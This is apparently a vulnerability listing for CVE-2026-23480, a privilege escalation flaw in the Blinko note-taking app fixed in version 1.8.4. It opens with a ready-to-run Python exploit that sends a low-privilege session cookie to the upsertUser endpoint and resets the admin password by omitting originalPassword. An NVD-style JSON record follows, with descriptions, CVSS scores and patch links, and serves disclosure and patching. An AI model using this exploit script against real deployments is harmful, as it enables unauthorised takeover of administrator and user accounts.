CVE-2026-23480

import requests # Target URL target_url = "http://target-domain.com/api/upsertUser" # Attacker's session cookie (low privilege user) cookies = { "token": "attacker_low_privilege_token" } # Payload to escalate privileges or reset admin password # ID 1 is typically the admin, originalPassword is omitted to bypass check payload = { "id": 1, "password": "new_admin_password" } response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Privilege escalation successful! Admin password changed.") else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2026-23480", "sourceIdentifier": "[email protected]", "published": "2026-03-23T21:17:01.940", "lastModified": "2026-03-24T18:33:48.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, there is a privilege escalation vulnerability. The upsertUser endpoint has 3 issues: it is missing superAdminAuthMiddleware, any logged-in user can call it; the originalPassword is an optional parameter and if not provided password verification is skipped; there is no check for input.id === ctx.id (ownership verification). This could result in any authenticated user modifying other users' passwords, direct escalation to superadmin, and complete account takeover. This issue has been patched in version 1.8.4."}, {"lang": "es", "value": "Blinko es un proyecto de toma de notas en tarjetas impulsado por IA. Antes de la versión 1.8.4, existe una vulnerabilidad de escalada de privilegios. El endpoint upsertUser tiene 3 problemas: le falta superAdminAuthMiddleware, cualquier usuario con sesión iniciada puede llamarlo; el originalPassword es un parámetro opcional y si no se proporciona, la verificación de contraseña se omite; no hay una verificación para input.id === ctx.id (verificación de propiedad). Esto podría resultar en que cualquier usuario autenticado modifique las contraseñas de otros usuarios, una escalada directa a superadministrador y una toma de control completa de la cuenta. Este problema ha sido parcheado en la versión 1.8.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blinko:blinko:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.4", "matchCriteriaId": "31941A3D-C688-40DF-AA55-1AF9056275D0"}]}]}], "references": [{"url": "https://github.com/blinkospace/blinko/commit/3afbdf486b6f371bdac5781dea6289749f2c4c03", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/blinkospace/blinko/releases/tag/1.8.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/blinkospace/blinko/security/advisories/GHSA-r3mv-q7ww-86p6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}